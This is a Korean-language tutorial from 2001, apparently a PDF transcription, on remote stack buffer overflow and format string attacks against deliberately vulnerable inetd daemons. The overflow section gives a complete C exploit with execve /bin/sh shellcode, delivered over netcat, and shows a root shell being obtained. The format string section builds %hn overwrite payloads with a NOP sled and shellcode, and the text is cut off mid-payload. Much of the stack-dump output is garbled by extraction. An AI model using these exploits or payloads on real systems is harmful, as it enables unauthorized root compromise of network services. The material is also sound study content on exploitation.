Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer

Size: px
Start display at page:

Download "Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer"

Transcription

1 Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer Overflow & Format String :-) Author : 유동훈 (Xpl017Elz) szoahc@hotmail.com Home: Date: f. 2001/10/11 s. 2001/10/23 t. 2001/11/09 ================================================================ 0x00. 서론 0x01. 배경및사전지식 - 0x a. 클라이언트와서버 (Client & Server) - 0x b. 포트 (port) - 0x c. 패킷 (packet) - 0x d. 데몬 (Daemon) 0x02. 공격의구성 - 0x a. Remote 공격의구성 - 0x b. 공격이구성될 Server 정보 - 0x c. 공격에이용될 Daemon의구성 - 0x d. 추가구성설명 0x03. Remote Buffer Overflow - 0x a. 취약점 finding - 0x b. exploit - 0x c. 결과및 stack 값 debugging 0x04. Remote Format String - 0x a. 취약점 finding - 0x b. exploit - 0x c. 결과및 stack 값 debugging 0x05. 결론 ================================================================ REMOTE Buffer Overflow 페이지 1

2 0x00. 서론 이미, Internet상에공개된엄청난양의공격 source 및 exploit들은 scripts kids들의움직임을부추기고있다. 물론, 여러분은아닐것이라생각한다. 이문서가부디공격에대해공부하시고계시는분들께 remote attack에대한이해를돕는데사용되었으면한다. 내용이부적절하거나오류가있는부분은꼭저자에게 mail을보내주길... 그럼, 배경및사전지식에대해알아보도록하자. 0x01. 배경및사전지식 여러분은 Network 의개념을조금이나마알고있을것이다. 때론, 공격을시도할때 Network 의원리와행동을이해해야하는부분이있다. 공격뿐만이 아니라심지어는 OS 및 programming 을공부할때도사전지식을쌓아두면도움이된다 ;-) 우선, Network 의개념을설명하겠다. Network란, 통신선로에의해서로 Connection되어있는 Series node, connection point들을의미한다. Network는또다른 Network과 Connection될수있고, Sub Network을포함할수있다. Network의공간적거리에따라 LAN (local area network), MAN (metropolitan area network), WAN (wide area network) 등으로나뉘어진다. 0x a. 클라이언트와서버 (Client & Server) Client & Server는두개의컴퓨터 Program 사이에이루어지는역할관계를나타내는것이다. Client는다른 Program에게서비스를요청하는 Program이며, 서버는그요청에대해응답을해주는 Program이다. Client & Server 개념은단일컴퓨터내에서도적용될수있지만, Network 환경에서더큰의미를가진다. Network 상에서 Client & Server model은여러다른지역에걸쳐분산되어있는 Program들을 Connection 시켜주는편리한수단을제공한다. 일반적인 Client & Server model 에서는, 보통데몬 (daemon) 이라불리는서버 Program 이먼저활성화된상태에서 Client 의요구사항을 기다리는데, 대체로다수의 Client Program 이하나의 Server Program 을공유한다. 이와같은 Network 통신을위해서필요한통로가바로, port 이다. 0x b. 포트 (port) REMOTE Buffer Overflow 페이지 2

3 port는논리적인접속장소라고정의하며, Internet Protocol인 TCP/IP를사용할때에는 Client Program이 Network 상의특정 Server Program을지정하는방법으로사용된다. 웹 Protocol인 HTTP와같이, TCP/IP의상위 Protocol을사용하는응용 Program에서는미리지정된 port번호들을가지고있다. 이런것들은 IANA에의해지정되었으며, 잘알려진 port들이라고불린다. port번호는 0부터 이다. port번호 0부터 1024까지는어떤특권을가진 Service에의해사용될수있도록예약되어있다. 0x c. 패킷 (packet) Packet 이란 data 와호제어신호가포함된 2 진수, 즉비트의그룹을말하는데, 특히 Packet 교환방식에서데이터를전송할때에는 Packet 이라는기본전송단위로데이터를 분해하여전송한후, 다시원래의 data 로재조립하여처리한다. 이로써, 우리가알아야할기본배경지식은어느정도익힌것같다. 다들이런의문을갖게될것이다. 왜? 무엇때문에네트워크의개념정리를설명하였는가? 라고말이다. 이는, 우리가알아야할 remote 공격에한차원더가까이접근하기위함이다. 여러분이알고있는 local공격과는많이다른것을이미잘알고있을듯하다. 마지막으로, Daemon 에관한개념만설명한후공격의구성부분을들어가도록하겠다. 0x d. 데몬 (Daemon) Daemon 은주기적인 Service 요청을처리하기위해 Linux 나 Unix 상 ( 즉, Server) 에서지속적으로 실행되는 Program 을말한다. 그역할은, 수집된요구들을또다른 Program 이나 Process 들이 처리할수있도록적절히전달한다. 0x02. 공격의구성 지루한개념부분에서다룬내용을반드시염두해두길바란다. 이제부턴심심치않을공격부분의 내용을위주로설명할까한다. remote 공격의구성은쉽게다음과같이생각해볼수있다. 0x a. Remote 공격의구성 fi) Server 의특정 Daemon 이지니고있는 Buffer Overflow 취약점. REMOTE Buffer Overflow 페이지 3

4 se) 특정 Daemon 이지니고있는 Format String 취약점. th) 기타, 설정상의오류를불러오는취약한 Daemon Program. 쉽게구성해볼수있는 Overflow 취약점의 Daemon 과 Format String 취약점 Daemon 을띄워둔후 공격해보도록하자. 여기서만약 Overflow 와 Format String 취약점의개념을공부하고싶다면, 먼저아래문서들을참고하길바란다 remote 공격을구성하려면, 먼저 Server 2 대가필요하다. 한대에서 localhost loopback 을이용해도상관은없지만, 서로다른 memory 와 stack 을갖춘 시스템사이의공격이나을듯하다. 0x b. 공격이구성될 Server 정보 우선, 공격당할 host 의정보이다. [x82@xpl017elz x82]$ uname -a Linux xpl017elz.org #1 Thu Mar 16 02:23:03 KST 2000 i586 unknown [x82@xpl017elz x82]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs /specs gcc version egcs /Linux (egcs release) [x82@xpl017elz x82]$ gdb -v GNU gdb Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". [x82@xpl017elz x82]$ 아래는, 공격시도할 host 의정보이다. [x82@testsub x82]$ uname -a Linux testsub kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown [x82@testsub x82]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs /specs REMOTE Buffer Overflow 페이지 4

5 gcc version egcs /Linux (egcs release) x82]$ gdb -v GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". x82]$ 0x c. 공격에이용될 Daemon 의구성 Daemon 은다음과같이구성한다. 현재문서를공부중인분들을고려하여, inetd 를이용하여 쉽게열수있도록구현하였다. tmp]$ cat /etc/inetd.conf tfido stream tcp nowait root /var/tmp/daemon daemon tmp]$ 번 (tfido service) 을열어둔후 /var/tmp/daemon 이라는파일을실행하게만들어두었다. tcp port 형태로 root 권한으로이를실행한다. 다음은, Overflow 의취약점을갖는 Daemon 프로그램의 Source 이다. main() { char exec[600]; fgets(exec,700,stdin); } 위 Source 를살펴보면, fgets() 함수에서 100 개의문자열을더받으므로써배열범위의 오버플로우가발생하는것을알수있다. (fgets(...,700,...); <-- 이부분에서오버플로우를야기함 ) 그다음은, Format String 의취약점을갖는 Daemon 프로그램의 Source 이다. main() { char bug[500]; fgets(bug,500,stdin); printf(bug); } 위 Source 는 printf() 함수로출력하는과정에서 Format string 취약점을갖는다. (printf(bug); <-- 이부분에서변환문자를사용하지않고입력받는변수자체를출력한다 ) local 공격상에선일정 stack address에 shellcode를띄운뒤그 address의 code 실행하여이득을볼수있었다. remote 공격도비슷한원리를이용해 shell을얻는것은분명하다. 하지만, local 공격도구중에하나인 eggshell 같은유용한프로그램을사용할수는없다. 매우원시적 ( 노가다?) 인방법을통해비로소, remote 공격은이루어질수있는것이다. 공격을받는 daemon 의특징은사용자로부터입력을받는다는점이다. 바로이부분에서사용자가 REMOTE Buffer Overflow 페이지 5

6 이용할수있는 service를벗어나서우리가원하는목적을달성할가능성을얻게된다. 참고로, 사용자의입력이아니더라도취약점은일어날수있다. local glibc 취약점같은경우에는사용자의직접적인입력이아닌 locale을이용한간접적인입력으로 shell을얻어낸다. ( 참으로놀라운발견이아닐수없다 ) 하지만, 우리는어렵지않게구성된취약점 Daemon을이용하는것이므로... :-) ( 더이상깊이생각할필요는없다 ) 자 ~ 그럼, 입력을기다리는 daemon을이용해우리가원하는목적을달성해보도록하자. 0x d. 추가구성설명 실제 remote 공격시에는여러가지환경에따라변수가존재한다. remote 상에서상대편 host의 stack상의내용을 debugging하는작업은구성할수없으며, 반노가다형식으로숙련된 KnowHow를이용해야한다. 그러므로, 이러한공격의경험이많을수록좋을것이다. 이사실을감안하여, 우리가갖춘구성환경은매우쉽고 simple하게, 어느환경이나존재하는어려운변수들은제거한상태에서시행할것이다. exploit을통한공격은 c언어 programming을이용할것이며, stack상의내용변경확인은같은내부 debugging이아닌외부에서출력되도록 code를 dump하여살펴보도록할것이다. 0x03. Remote Buffer Overflow 우선, Remote Buffer Overflow 부터구상해봤다. 아래는외부 Server 에서 Target Server 로 telnet 해본것이다. [x82@testsub x82]$ id uid=501(x82) gid=501(x82) groups=501(x82) [x82@testsub x82]$ telnet xxx.xx.xx.xx Trying xxx.xx.xx.xx... Connected to xxx.xx.xx.xx. Escape character is '^]'. 0x a. 취약점 finding 어느지점에서 Overflow가일어나는지외부에서조사할가능성이없지는않다. 물론, 정확한오프셋값을알아내기란하늘의별따기일것이다. 대부분의 Remote 공격 testing은먼저자신의 Server에서 localhost loopback으로공격을시도한다. 그이유는내부에서 Server의외부를공격하는것이기때문에일반적인 Remote 공격과는다르게 Debugging을시행할수있는것이다. 그프로그램중에하나가 ltrace 이다. 이프로그램을이용해실행되고있는 daemon 프로세스 를어태치하여살펴보면, 어느지점에서 Overflow 가일어나고또, 그위치 address 가어떻게 REMOTE Buffer Overflow 페이지 6

7 되는지를파악할수있게된다. 이로써얻은공격 exploit 을, 취약점이있는다른시스템의 배포판에적용하면, 공격성공률은매우높다. ( 단, 같은취약버전의배포판 ) 이용의예 : [root@xpl017elz /tmp]# ltrace -p 788 -o /tmp/ltracing & # 788 = Daemon process [1] 792 [root@xpl017elz /tmp]# (printf "\~\~\~ format string \~\~\~";cat) nc port [1]+ Done ltrace -p 788 -o /tmp/ltracing [root@xpl017elz /tmp]# cat /tmp/ltracing 788 svc_getreqset(0xbffffcac, 256, 0xbffffd94, 0, 0x400f2398 <unfinished...> 788 xdr_string(0x , 0xbffff6ec, 1024, 0x400d6d63, 0x ) = gethostbyname(0x , 0xbffff6ec, 0x080498b8, 0xbffff6ec, 0xbffffc34)=0 788 vsnprintf(0xbffff2b8, 1024, 0x0804d309, 0xbffff6c4, 0xbffff6ec) = syslog(5, 0xbffff2b8, 0xbffff6ec, 0x0804a658, 0x <unfinished...> SIGSEGV (Segmentation fault) --- ( 비정상종료가일어났다.) killed by SIGSEGV +++ 이렇게해서알아낸값을대입하여공격하는 Remote attack이한때, 유명했던 Rpc statd 공격이였다. string() 관련함수에의해일어나는 Overflow 라면, 위의방식처럼추측하여, 좀더, 쉽게공격을시도해볼수있다. 다른 Source를컴파일하여알아본결과문자열 512개문자열입력후 4byte후에 Segmentation fault가일어나는것까지알아볼수있었다. [root@xpl017elz tmp]# [2]- Done ltrace -p o /tmp/debug [root@xpl017elz tmp]# cat /tmp/debug 5213 strcpy(0xbffff900, "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"...) = 0xbffff SIGSEGV ( 세그멘테이션오류 ) killed by SIGSEGV +++ [root@xpl017elz tmp]# dumpcode 를이용하여, 각 address 의값을쉽게읽어와보자. [x82@testsub x82]$ telnet xxx.xx.xx.xx Trying xxx.xx.xx.xx... Connected to xxx.xx.xx.xx. Escape character is '^]'. 0xbffffb00 0d 0a a0 fd ff bf 68 fb ff bf @...h... 0xbffffb @ 0xbffffb f fb ff bf...@...x... 0xbffffb30 54 fb ff bf 50 fb ff bf T...P...0..@... 0xbffffb fd ff bf xbffffb c @... REMOTE Buffer Overflow 페이지 7

8 0xbffffb xbffffb70 8c 중략... 0xbffffda fe ff bf b fe ff bf... 0xbffffdb0 a6 fe ff bf b1 fe ff bf bc fe ff bf ca fe ff bf... 0xbffffdc0 fc fe ff bf 11 ff ff bf 18 ff ff bf 24 ff ff bf...$... 0xbffffdd0 2f ff ff bf 3f ff ff bf 4a ff ff bf 5b ff ff bf /...?...J...[... 0xbffffde0 68 ff ff bf 70 ff ff bf 7c ff ff bf h...p xbffffdf xbffffe xbffffe Connection closed by foreign host. 편리하지않은가? 모든 Remote 공격이이렇게편리했으면좋으련만 :-( 취약점이존재하는 daemon의 Source(daemon.c) 를살펴보면, 변수 exec공간 600byte 입력후 ebp 4byte 공간만지나면곧바로 Return address 영역이존재한다. 그러므로, 600byte의공간에 shellcode를입력후입력한 shellcode의주소를 Return address 영역에담으면되는것이다. 이것을도식화하여나타내보면, 다음과같다 exec e b p Return add byte 4byte 4byte 0x b. exploit 변경시킬 Stack 의내용 : [NNNNNN...NNNNNNNSSSS...SSSSXXXX...XXXXXX&shellcode] NOP = 250byte (0xbffffb00 ~ 0xbffffbf9) shellcode = 24byte (0xbffffbfa ~ 0xbffffc11) etcvalues = 330byte (0xbffffc12 ~ 0xbffffd5b) shellcode address = 4byte (0xbffffd5c ~ 0xbffffd5f) 총 : 608byte Overwrite (0xbffffb00 ~ 0xbffffd5f) 위와같이 code dumping 을통해각영역의 address 를쉽게알아낼수있었다. 완성된 exploit: REMOTE Buffer Overflow 페이지 8

9 x82]$ cat expl.c #include <stdio.h> char exec [1000], *netcat = "/usr/local/bin/nc"; /* 우리가공격할패킷을만들어줄프로그램. 이부분은 nc 의위치에따라바꿔주어야한다. */ char shellcode[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; /* shellcode ( 단 24byte 소요 ) */ /* asm (" xorl %edx,%edx pushl %edx pushl $0x68732f6e pushl $0x69622f2f movl %esp,%ebx pushl %edx pushl %ebx movl %esp,%ecx leal 0xb(%edx),%eax int $0x80 "); */ main( int argc, char *argv[] ) { /* 입력받을 IP(argv[1]) 와 port(argv[2]) 변수 */ int score, score_ran, number; char allcode[1500]; /* 공격 code 변수작성 */ bzero ( &allcode, 1500 ); for ( score = 0; score <= (274-sizeof(shellcode)); score++ REMOTE Buffer Overflow 페이지 9

10 ) { allcode[score] = 0x90; /* 275byte 공간에서 shellcode의길이를제외한나머지공간에 NOP를구성한다. */ } for ( score_ran = 0, score = score; score_ran < (sizeof(shellcode)-1); score++, score_ran++ ) { allcode[score] = shellcode[score_ran]; /* 위에서입력된 1byte를마이너스한후 shellcode를그공간에 shellcode를집어넣는다. */ } for ( number = 0; number <= 329; number++ ) { allcode[score++] = 0x20; /* Space Key */ /* 그다음 330byte 영역을 0x20 ( 스페이스문자 ) 값으로구성한다. */ } /* 다음 4byte 영역에곧바로 Return Address를집어넣는다. */ allcode[score++] = 0xf8; allcode[score++] = 0xfb; allcode[score++] = 0xff; allcode[score++] = 0xbf; /* 우리가 shellcode 를띄울영역이 0xbffffbf8 이란것을알았으므로, 그부분의 address 를쉽게대입하여집어넣을수있었다. */ printf("\n\n\t[test] Remote Buffer Overflow Attack Exploit"); printf("\n\tmake by '\\x82\\x41\\xff\\xbf'\n\n"); if ( argc < 3 ) { /* 인수입력확인 */ printf("\tusage: %s target[ip] target[port]\n",argv[0]); printf("\t Ex>: %s \n\n",argv[0]); exit(0); } sprintf(exec,"( printf \"%s\"; cat ) %s %s %s ",allcode,netcat,argv[1],argv[2] ); REMOTE Buffer Overflow 페이지 10

11 system(exec); /* User 로부터입력받은 ip,port 를대입한다. 물론, 작성한공격패킷을 netcat 이란프로그램을이용하여입력받은상대편호스트의 port 로공격을가한다. */ } [x82@testsub x82]$ 0x c. 결과및 stack 값 debugging 복잡한연산은하지않는다. 간단히값을대입하고 nc 를이용해 Packet 을만들어보내주는것이다. exploit 을이용하면, 쉽게 shell 을띄울수있다. [x82@testsub x82]$./expl [Test] Remote Buffer Overflow Attack Exploit Make by '\x82\x41\xff\xbf' id uid=0(root) gid=0(root) groups=0(root) whoami root exit [x82@testsub x82]$ Debugging: 0xbffffb xbffffb xbffffb xbffffb xbffffb xbffffb xbffffb xbffffb xbffffb xbffffb xbffffba REMOTE Buffer Overflow 페이지 11

12 0xbffffbb xbffffbc xbffffbd xbffffbe xbffffbf // NOP의끝부분 31 d e 2f...1.Rhn/ 0xbffffc f 2f e e1 8d 42 0b shh//bi..rs...b. 0xbffffc10 cd 80 // shellcode 끝부분 xbffffc xbffffc xbffffc xbffffc xbffffc xbffffc xbffffc xbffffc xbffffca xbffffcb xbffffcc xbffffcd xbffffce xbffffcf xbffffd xbffffd xbffffd xbffffd xbffffd xbffffd // etcvalues 끝부분 0xbffffd60 0a f8 fb ff bf... // &shellcode address id uid=0(root) gid=0(root) groups=0(root) exit 이로써, Remote Buffer Overflow 는쉽게성공하였다. 그럼, 이번엔 Remote Format String 공격을시도해보도록하자. 0x04. Remote Format String REMOTE Buffer Overflow 페이지 12

13 위 Remote Buffer Overflow 공격과비슷한환경으로구성되었다. 아래는외부 Server 에서 Target Server 로 telnet 해본것이다. x82]$ id uid=501(x82) gid=501(x82) groups=501(x82) x82]$ telnet xxx.xx.xx.xx Trying xxx.xx.xx.xx... Connected to xxx.xx.xx.xx. Escape character is '^]'. 0x a. 취약점 finding 추가구성설명부분에서말했던것과같이 code 를 dump 받아볼수있는환경을 조성하여공격을시도하였다. gdb 로실행되고있는프로세스를어태치해도 가능하지만, 그작업은나중으로미루겠다. 우선, 우리가공격하는 target server 가어떠한상태인지알아보자. x82]$ (printf "id";cat) nc xxx.xx.xx.xx id 0xbffff7d a c xbffff7e xbffff7f c bc xbffff804 9c a xbffff ac b xbffff c d8 a f9 ff 0xbffff ac a ac a xbffff844 a8 2b d a8 2b 01 0xbffff854 a xbffff b0 3a :... 0xbffff f7 01 0xbffff884 ab a bc a8 2b 01 0xbffff894 d8 a f9 ff bf ac a4 02 0xbffff8a b e xbffff8b4 ac a a8 2b b xbffff8c4 a8 2b a ac a4 02 0xbffff8d4 98 2a b xbffff8e4 f f a a 02 0xbffff8f4 74 bc a8 2b e REMOTE Buffer Overflow 페이지 13

14 0xbffff f9 ff bf f b xbffff914 0f 53 8e 07 9c f9 ff bf f xbffff924 a8 2b ac f9 ff bf bf 6b f5 01 0xbffff934 a8 2b f4 0c a8 2b b xbffff944 8e ff cc f9 ff bf f4 1f 02 0xbffff954 a8 2b ff ff bf c0 f9 ff bf 1f xbffff964 ec 7b a0 f9 ff bf 9d 9f c xbffff e ee 9e c xbffff a fa ff bf b f xbffff f c8 f9 ff bf 0xbffff9a4 10 a b 80 0f 40 1c a6 00 0xbffff9b4 14 fa ff bf c8 f9 ff bf 4b K... 0xbffff9c4 1c e8 f9 ff bf fb xbffff9d4 14 fa ff bf 1c fa ff bf... x82]$ 다시말하지만, 일반적으로이렇게쉽게공격에노출된프로그램은없다. --; 예상대로 target server Stack 상엔 "id\n" ( a) 이 push 되었다. format string 취약점은 Overflow 와비슷한모양을하고있지만, 기법적인면에서는접근방법이염연히다르다. 위 daemon에서사용된 fgets() 함수는경계검사를하는함수이므로 Overflow의취약점은지니지않는다. 하지만, 출력하는부분인 printf() 함수에서결함을일으켜우리가원하는것을이루게해준다. 공격시사용되는 code 는 format string ( 변환문자 ) 를이용하여 Stack 에 push 한다. 한번, 다음 testing 을유심히살펴보기바란다. [x82@testsub x82]$ (printf "AAAA %%x %%x %%x %%x";cat) nc xxx.xx.xx.xx AAAA xbffff7d a AAAA%x%x%x%x...@ 0xbffff7e xbffff7f c bc !.@.!.@.!.@ 0xbffff804 9c a !.@.!.@... 0xbffff ac b !.@.!.@... 0xbffff c d8 a f9 ff bf...!.@...@... 0xbffff ac a ac a y.@...@...@$.@ 0xbffff844 a8 2b d a8 2b @.C..$.@.+.@ 0xbffff854 a xbffff b0 3a :... 0xbffff f $..@ 0xbffff884 ab a bc a8 2b d*.@t..@.+.@ 0xbffff894 d8 a f9 ff bf ac a @h...y.@...@ REMOTE Buffer Overflow 페이지 14

15 0xbffff8a b e xbffff8b4 ac a a8 2b b xbffff8c4 a8 2b a ac a4 02 0xbffff8d4 98 2a b xbffff8e4 f f a a 02 0xbffff8f4 74 bc a8 2b e xbffff f9 ff bf f b xbffff914 0f 53 8e 07 9c f9 ff bf f xbffff924 a8 2b ac f9 ff bf bf 6b f5 01 0xbffff934 a8 2b f4 0c a8 2b b xbffff944 8e ff cc f9 ff bf f4 1f 02 0xbffff954 a8 2b ff ff bf c0 f9 ff bf 1f xbffff964 ec 7b a0 f9 ff bf 9d 9f c xbffff e ee 9e c xbffff a fa ff bf b f xbffff f c8 f9 ff bf 0xbffff9a4 10 a b 80 0f 40 1c a6 00 0xbffff9b4 14 fa ff bf c8 f9 ff bf 4b K... 0xbffff9c4 1c e8 f9 ff bf fb xbffff9d4 14 fa ff bf 1c fa ff bf... x82]$ 위와같이 format string을이용해출력을요구하면, 취약한프로그램은 Stack의내용을그대로출력한다. 여기서 AAAA를먼저넣어주고 %x로출력을요구한이유는실제 Stack상에 push되는주소값과, 입력후출력되는주소값이얼마간의오차가존재하는가를계산하는역할을한다. %x는 16진수를출력할때사용된다. 그이유는 16진수로이루어진 Stack의값을적절히출력하기위해서인데, 위에 %%x로쓰인이유는첫째로들어가는 % 가정확한출력을위해 (printf "") 명령내부에서 format string을인식시키는역할을하기때문이다. 프로그래밍을많이해본사람이라면기본적으로알고있을거라생각한다. 위의결과 "AAAA a" 를보니 Stack에 push 되는주소값과출력되는주소값의오차가존재하지않는다. 이는공격하기매우편리한환경이라할수있다. 만약오차가존재한다면, %x 출력당 4byte(0x ) 씩을채워나감으로써, 오차를줄이고정확한위치를잡을수있는것이다. 그렇다면위결과를가지고모의실험을가져보도록하자. 우리가만약조그만값을특정주소에덮어씌울수있다면, 이를응용해실전공격을쉽게성공시킬수있을것이다. 특정주소는 code에넣어지는 format string 앞부분에넣게된다. 그주소는 %n 디렉티브를이용해 Stack에 push 될것이다. %n 디렉티브의앞부분에는우리가 jump 해야할주소 (16진수 buffer 주소값 ) 를 10진수로변환하여포맷문자열로넣으면된다. ( 기본적으로 "%1000d" 이런식의변환문자이라생각하면된다. REMOTE Buffer Overflow 페이지 15

16 앞에들어간 1000 이란값은 16 진수를변경한 10 진수의값이다.) 위의내용을참조하여간단한 exploit 를시도해본다. 0x b. exploit 앞에서설명한 jump 해야할주소를 10 진수형태로변경하여쓰는것은간단한계산을통해 구할수있다. 만약 0xbfffef34 라는값을 10 진수로고쳤을때다음과같이계산할수있다. 0x b : 16 x 16 x 16 x 16 x 16 x 16 x 16 x b(11) f : 16 x 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x f(15) e : 16 x 16 x 16 x e(14) f : 16 x 16 x f(15) 3 : 16 x 3 4 : + 4 하지만, 위와같이구한 10 진수의값은감당하지못할정도로크고계산도쉽지않다. 그러므로 2 번에걸쳐계산을한다. (bfff/ef34) 계산도쉽고정확한값을만들수있기 때문에대부분의 format string 공격시에는이방법을채택한다. 1 + bfff : ef34 : bfff - ef34 : bfff : 이런식으로 2 번에걸쳐계산하여 53451(bfff) 와 61236(ef34) 라는값을얻어낼수있었다. 이렇게구한 10 진수값은어떻게넣을까? 방법은간단하다. 두번에걸쳐쓰는방식이므로 다음과같이나타낼수있다. "%61236d %hn %53451d %hn" (ef34)(push)(bfff)(push) %n 은 4byte 를차지하지만, %hn 은 2byte 를차지한다. 그러므로두번에나눠값을 Overwrite 시킬수있는것이다. 솔직히필자의경험상 %hn 디렉티브대신 %n 디렉티브를 넣어도상관은없었다. 이제, 값을원하는주소에덮어씌워보자. 모의공격으로다음과같은형식을정하였다. REMOTE Buffer Overflow 페이지 16

17 덮어쓰기원하는주소 : 0xbffff894 덮어씌워지는주소의값 : 0xbfffef34 그럼, 공격! [x82@testsub x82]$ (printf "\x82\x82\x82\x82\x94\xf8\xff\xbf\x82\x82\x82\x82 \x96\xf8\xff\xbf%%61220d%%hn%%53451d%%hn";cat) nc xxx.xx.xx.xx sleep sleep sleep xbffff7d f8 ff bf f8 ff bf... 0xbffff7e e %61220d%hn% xbffff7f e 0a bc d%hn...@.!.@.!.@ 0xbffff804 9c a !.@.!.@... 0xbffff ac b !.@.!.@... 0xbffff c d8 a f9 ff bf...!.@...@... 0xbffff ac a ac a y.@...@...@$.@ 0xbffff844 a8 2b d a8 2b @.C..$.@.+.@ 0xbffff854 a xbffff b0 3a :... 0xbffff f $..@ 0xbffff884 ab a bc a8 2b d*.@t..@.+.@ 0xbffff ef ff bf 68 f9 ff bf ac a h...y.@...@ ~~~~~~~~~~~ (0xbfffef34) 0xbffff8a b e $.@.&.@n... 0xbffff8b4 ac a a8 2b b @$.@.+.@[A.. 0xbffff8c4 a8 2b a ac a @.Y...y.@...@ 0xbffff8d4 98 2a b *.@$.@.&.@... 0xbffff8e4 f f a a &.@...d*.@ 0xbffff8f4 74 bc a8 2b e t..@.+.@...@ 0xbffff f9 ff bf f b (.@ 0xbffff914 0f 53 8e 07 9c f9 ff bf f S...r...&.@ 0xbffff924 a8 2b ac f9 ff bf bf 6b f @...k.@d..@ 0xbffff934 a8 2b f4 0c a8 2b b @...@.+.@.(.@ 0xbffff944 8e ff cc f9 ff bf f4 1f w...`...@ 0xbffff954 a8 2b ff ff bf bf f9 ff bf @w xbffff964 ec 7b a0 f9 ff bf 9d 9f c {.@...@...@ 0xbffff e ee 9e c H..@...@... 0xbffff a fa ff bf b f @...&.@... REMOTE Buffer Overflow 페이지 17

18 0xbffff f c8 f9 ff bf 0xbffff9a4 10 a b 80 0f 40 1c a6 00 0xbffff9b4 14 fa ff bf c8 f9 ff bf 4b K... 0xbffff9c4 1c e8 f9 ff bf fb xbffff9d4 14 fa ff bf 1c fa ff bf... x82]$ Success! 모의공격을성공하였다. 위에서쓰인 format string 을분석해보겠다. "\x82\x82\x82\x82\x94\xf8\xff\xbf" /* 8byte */ 0xbffff894 주소에 "ef34" 값을 Overwrite 한다. Stack 에쌓일때는 "34 ef" 값으로 push 된다. "\x82\x82\x82\x82\x96\xf8\xff\xbf" /* 8byte */ 0xbffff896 주소에 "bfff" 값을 Overwrite 한다. Stack 에쌓일때는 "ff bf" 값으로 push 된다. "%%61220d%%hn%%53451d%%hn" 이미위에서계산한 "%%61236d%%hn%%53451d%%hn" 값과무엇이다른가? 그렇다. "%%61236d" 값에서 "%%61220d" 값으로변경된것을볼수있을것이다. 이는 위에서사용된특정주소값, 16byte(8byte+8byte) 를 minus 한결과이다. 이렇게, 특정주소를우리가원하는값으로쉽게변경할수있었다. 그렇다면, server daemon program 의 return address 를 shellcode 의주소값으로 변경하면어떻게될것인가? 분명 daemon 권한의 shell 을실행할수있을것이다. :-D 위의모의공격과비교해보면다음과같이설명될수있다. 덮어쓰기원하는주소 : 0xbffff > 즉, Return address. 덮어씌워지는주소의값 : 0xbfffef34 ---> 당연히 shellcode 가띄워져있는 address. 그러므로위에서작업했던모의공격방식을매우유사하게적용할수있다. 참고로, Return address 를구하는것은 dump 된 stack 에서금방찾을수있다. 프로그램이 500byte까지 data input을받는다면, 504byte는 ebp 영역일것이고, 508byte부터 ret영역일것이분명하다. 0xbffff7d4 부터 data buffer 영역이시작되므로, 끝나는영역은 0xbffff9c4, ebp영역 (4byte) 은 0xbffff9c8 ~ 0xbffff9cb 까지, ret영역 (4byte) 은 0xbffff9cc ~ 0xbffff9cf 까지란것을알수있다. 덮어쓰기원하는주소 (Return address): 0xbffff9cc REMOTE Buffer Overflow 페이지 18

19 덮어씌워지는주소의값 (&shellcode address): 0xbffff804 &shellcode 의 address 는공격자가띄울 stack 의주소만알면쉽게알수있다. 이작업은 sp 의값을알아내어 address 를맞출수있으며모의공격시공격당하는 daemon 내부프로그램에넣는다. ;-D 예 : unsigned long sp(void) { asm ("movl %esp,%eax"); } 이러한연산을통해 &shellcode 가띄워질위치를알아내었다고가정한다. ( 위의 code 는 eggshellcode 를더연구해보면알수있을것이다.) 10 진수계산후 "%%63492d%%hn%%51195d%%hn" code 를얻을수있었다. 다음과같이최종적으로 exploit 되었다. "\x82\x82\x82\x82\xcc\xf9\xff\xbf\x82\x82\x82\x82\xce\xf9\xff\xbf%%63476d%%hn%%51195d%% hn" 이렇게만들어진 format string code 에마지막으로추가할것이있다. 바로, 우리가실행을필요로하는 shellcode 이다. shellcode 를넣어다음과같이, exploit 을완성하였다. 이제실전공격을시도해보도록하겠다. 0x c. 결과및 stack 값 debugging 공격개시! :-p [x82@testsub x82]$ (printf "\x82\x82\x82\x82\xcc\xf9\xff\xbf\x82\x82\x82\x82 \xce\xf9\xff\xbf%%63476d%%hn%%51195d%%hn\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1 